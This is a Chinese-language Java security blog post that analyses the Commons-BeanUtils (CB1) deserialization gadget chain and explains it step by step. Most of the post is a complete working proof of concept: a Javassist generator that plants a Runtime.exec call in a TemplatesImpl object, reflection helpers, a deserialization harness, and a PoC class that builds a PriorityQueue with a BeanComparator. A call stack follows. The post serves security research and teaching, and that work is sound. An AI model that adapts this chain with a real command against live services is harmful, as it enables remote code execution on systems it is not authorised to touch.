『Java安全』反序列化-CB反序列化漏洞POP链分析

文章目录

前言代码复现

工具类PoC 代码审计 | 原理分析

1. TemplatseImpl.getOutputProperties()触发newTransformer()2. BeanComparator.compare()触发PropertyUtils.getProperty()3. PriorityQueue反序列化调用comparator.compare()为什么BeanComparator要传入lowestSetBit？为什么要添加BigInteger？ POP链完

前言

CB1类似CC2，利用优先级队列触发comparator的compare方法，需要以下依赖：

        
            commons-collections
            commons-collections
            3.1
        

        
        
            commons-beanutils
            commons-beanutils
            1.9.2
        

        
        
            commons-logging
            commons-logging
            1.2
        

代码复现 工具类

生成恶意TemplatesImpl：

TemplatesGeneratorPacked/GetAbstractTranslet.java

package TemplatesGeneratorPacked;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

public class GetAbstractTranslet {
    public static byte[] generate() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("e");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(zuper);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{Runtime.getRuntime().exec("calc");}");
        clazz.addConstructor(constructor);

        return clazz.toBytecode();
    }
}

TemplatesGeneratorPacked/GetTemplatesImpl.java

package TemplatesGeneratorPacked;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ReflectPacked.ValueGetterSetter;

public class GetTemplatesImpl {
    public static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GetAbstractTranslet.generate()};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        ValueGetterSetter.setValue(templates, "_bytecodes", bytes);
        ValueGetterSetter.setValue(templates, "_name", "a");
        ValueGetterSetter.setValue(templates, "_tfactory", new TransformerFactoryImpl());

        return  templates;
    }
}

---

反射get/set：

ReflectPacked/ValueGetterSetter.java

package ReflectPacked;

import java.lang.reflect.Field;

public class ValueGetterSetter {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }
}

---

反序列化：

UnserializePacked.Unserialize.java

package UnserializePacked;

import java.io.*;

public class Unserialize {
    public static void unserialize(Object obj) throws Exception{
        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(obj);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        f.deleteOnExit();
    }
}

PoC

package cb1;

import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import java.math.BigInteger;
import javax.xml.transform.Templates;

import ReflectPacked.ValueGetterSetter;
import TemplatesGeneratorPacked.GetTemplatesImpl;
import UnserializePacked.Unserialize;


public class PoC {
    public static void main(String[] args) throws Exception {
        Templates templates = GetTemplatesImpl.getTemplatesImpl();
        BeanComparator comparator = new BeanComparator("lowestSetBit");
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add(new BigInteger("1"));
        priorityQueue.add(new BigInteger("1"));

        ValueGetterSetter.setValue(comparator, "property", "outputProperties");

        Object[] queueArray = (Object[]) ValueGetterSetter.getValue(priorityQueue, "queue");
        queueArray[0] = templates;

        Unserialize.unserialize(priorityQueue);
    }
}

代码审计 | 原理分析

前半部分类似CC2，优先级队列反序列化调用compare

『Java安全』反序列化-CC2反序列化漏洞POP链分析_ysoserial CommonsCollections2 PoC分析

后半部分流程调用了TemplatesImpl.getOutputProperties()，同7u21

『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞

重复的部分不做分析只作记录

1. TemplatseImpl.getOutputProperties()触发newTransformer() 2. BeanComparator.compare()触发PropertyUtils.getProperty()

BeanComparator构造器传入一个property

调用compare方法时，会调各自Object的getProperty

因此可以构造的时候传入属性outputProperities，然后compare传入TemplatesImpl即可：

3. PriorityQueue反序列化调用comparator.compare()

优先级队列构造器传入初始大小和comparator，然后readObject会调用compare

为什么BeanComparator要传入lowestSetBit？为什么要添加BigInteger？

在新建comparator的时候传入了BigInteger的属性lowestSetBit，这里传BigInteger的其他属性也可以，这么做是为了保证某些jdk版本add失败的问题，修复兼容性问题

POP链

newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:26, PoC (cb1)

完

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